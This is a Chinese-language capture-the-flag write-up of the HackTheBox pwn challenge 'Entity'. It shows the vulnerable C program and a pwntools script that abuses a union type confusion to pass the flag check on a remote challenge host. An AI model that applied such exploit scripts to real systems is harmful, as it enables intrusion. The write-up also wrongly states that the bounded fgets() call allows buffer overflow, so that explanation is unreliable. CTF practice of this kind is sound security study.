hackthebox Pwn Entity
每日一更 Pwn系列 Entity 题目
下载文件 解压以后
是带着源文件的 那就先看代码
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
static union {
unsigned long long integer;
char string[8];
} DataStore;
typedef enum {
STORE_GET,
STORE_SET,
FLAG
} action_t;
typedef enum {
INTEGER,
STRING
} field_t;
typedef struct {
action_t act;
field_t field;
} menu_t;
menu_t menu() {
menu_t res = { 0 };
char buf[32] = { 0 };
printf("\n(T)ry to turn it off\n(R)un\n(C)ry\n\n>> ");
fgets(buf, sizeof(buf), stdin);
buf[strcspn(buf, "\n")] = 0;
switch (buf[0]) {
case 'T':
res.act = STORE_SET;
break;
case 'R':
res.act = STORE_GET;
break;
case 'C':
res.act = FLAG;
return res;
default:
puts("\nWhat's this nonsense?!");
exit(-1);
}
printf("\nThis does not seem to work.. (L)ie down or (S)cream\n\n>> ");
fgets(buf, sizeof(buf), stdin);
buf[strcspn(buf, "\n")] = 0;
switch (buf[0]) {
case 'L':
res.field = INTEGER;
break;
case 'S':
res.field = STRING;
break;
default:
printf("\nYou are doomed!\n");
exit(-1);
}
return res;
}
void set_field(field_t f) {
char buf[32] = {0};
printf("\nMaybe try a ritual?\n\n>> ");
fgets(buf, sizeof(buf), stdin);
switch (f) {
case INTEGER:
sscanf(buf, "%llu", &DataStore.integer);
if (DataStore.integer == 13371337) {
puts("\nWhat's this nonsense?!");
exit(-1);
}
break;
case STRING:
memcpy(DataStore.string, buf, sizeof(DataStore.string));
break;
}
}
void get_field(field_t f) {
printf("\nAnything else to try?\n\n>> ");
switch (f) {
case INTEGER:
printf("%llu\n", DataStore.integer);
break;
case STRING:
printf("%.8s\n", DataStore.string);
break;
}
}
void get_flag() {
if (DataStore.integer == 13371337) {
system("cat flag.txt");
exit(0);
} else {
puts("\nSorry, this will not work!");
}
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
bzero(&DataStore, sizeof(DataStore));
printf("\nSomething strange is coming out of the TV..\n");
while (1) {
menu_t result = menu();
switch (result.act) {
case STORE_SET:
set_field(result.field);
break;
case STORE_GET:
get_field(result.field);
break;
case FLAG:
get_flag();
break;
}
}
}
这代码核心就是 : 在用户的交互中,用户可以选择进行存储、获取操作或获取 flag。程序会根据用户的选择执行相应的操作,并根据存储的数据来决定是否显示 flag。
从main() 进去看
menu_t result = menu();:调用 menu() 函数来显示菜单并等待用户输入,返回一个包含用户选择操作和字段类型的 menu_t 结构体。
然后 switch (result.act):根据用户选择的操作类型执行相应的操作。 STORE_SET:调用 set_field() 函数来设置数据存储区域中的值。 STORE_GET:调用 get_field() 函数来获取数据存储区域中的值并显示。 FLAG:调用 get_flag() 函数来检查数据存储区域中的值是否符合条件,如果符合则显示 flag。
看menu()
重点:
fgets(buf, sizeof(buf), stdin); :使用 fgets() 函数从标准输入中读取用户输入的命令,并将其存储在 buf 中
fgets()
存在安全隐患。这个函数在读取用户输入时,没有限制输入的字符数,因此可能会导致缓冲区溢出的问题。如果用户输入的字符数超过了缓冲区的大小,就会发生缓冲区溢出,可能导致程序崩溃或者执行恶意代码。
switch (buf[0])
根据用户输入的命令的首字符执行相应的操作。这个 用于解析用户输入的命令,并根据命令执行相应的逻辑。 如果用户输入的是 'T',则执行 res.act = STORE_SET;,将操作类型设置为 STORE_SET,表示用户想要设置数据存储区域中的值。 如果用户输入的是 'R',则执行 res.act = STORE_GET;,将操作类型设置为 STORE_GET,表示用户想要获取数据存储区域中的值。 如果用户输入的是 'C',则执行 res.act = FLAG;,将操作类型设置为 FLAG,表示用户想要显示 flag。
获取 flag 的条件是在 get_flag()
函数中判断的,具体条件如下:
if (DataStore.integer == 13371337) {
system("cat flag.txt");
exit(0);
} else {
puts("\nSorry, this will not work!");
}
只有当 DataStore.integer
的值等于 13371337
时,才会执行 system("cat flag.txt");
命令来显示 flag 内容。否则,程序将输出 "Sorry, this will not work!" 提示信息。
最终payload
from pwn import *
r = remote('94.237.49.166',43521)
r.sendline(b'T')
print(r.recvuntil(b">>"))
r.sendline(b'S')
print(r.recvuntil(b">>"))
r.sendline(p64(13371337))
print(r.recvuntil(b">>"))
r.sendline(b'C')
print(r.recvuntil("}"))
print(r.recvline())
get flag
标签:case,field,Entity,hackthebox,flag,DataStore,buf,STORE From: https://blog.csdn.net/EdSu12138/article/details/137499864